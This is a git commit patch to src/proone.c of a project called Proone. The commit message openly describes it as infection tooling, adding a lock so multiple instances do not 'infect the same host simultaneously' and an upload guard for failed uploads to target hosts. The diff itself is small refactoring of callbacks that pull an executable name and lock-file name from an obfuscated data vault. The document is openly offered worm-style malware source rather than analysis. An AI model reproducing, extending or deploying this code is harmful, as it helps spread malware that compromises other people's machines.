From 73799fe772152089a6c57aa339f08426cf3eaf11 Mon Sep 17 00:00:00 2001 From: David Timber Date: Fri, 13 Aug 2021 18:22:35 +1000 Subject: Impl bne ... * Add upload lock mechanism to prevent multiple instances trying to infect the same host simultaneously * Add "upload guard". The upload guard cleans up the lock file and the upload directory in the event of upload failure * Fix bug in bne_vssh_flush_f() * prne_strzero() accepts NULL * Fix Proone: missing prne_dvault_reset() calls --- src/proone.c | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) (limited to 'src/proone.c') diff --git a/src/proone.c b/src/proone.c index 17d88a5..6b3905d 100644 --- a/src/proone.c +++ b/src/proone.c @@ -458,6 +458,7 @@ static void alloc_recon (void) { } END: // CATCH + prne_dvault_reset(); prne_free_recon_param(¶m); } @@ -1341,16 +1342,16 @@ END: } static char *bne_cb_exec_name (void *ctx) { - size_t dvl; - const char *dv_str; - char *ret; - - dv_str = prne_dvault_get_cstr(PRNE_DATA_KEY_EXEC_NAME, &dvl); - ret = prne_alloc_str(dvl); - if (ret != NULL) { - memcpy(ret, dv_str, dvl + 1); - } + char *ret = prne_dup_str( + prne_dvault_get_cstr(PRNE_DATA_KEY_EXEC_NAME, NULL)); + prne_dvault_reset(); + return ret; +} +static char *bne_cb_lock_name (void *ctx) { + char *ret = prne_dup_str( + prne_dvault_get_cstr(PRNE_DATA_KEY_BNE_LOCK_NAME, NULL)); + prne_dvault_reset(); return ret; } @@ -1387,6 +1388,7 @@ static void init_bne (void) { bne_param.cb.vercmp = bne_cb_vercmp; bne_param.cb.tmpfile = cb_tmpfile; bne_param.cb.upbin = cb_upbin; + bne_param.cb.bne_lock_name = bne_cb_lock_name; if (prne_g.has_ba) { bne_param.rcb = &prne_g.rcb_param; -- cgit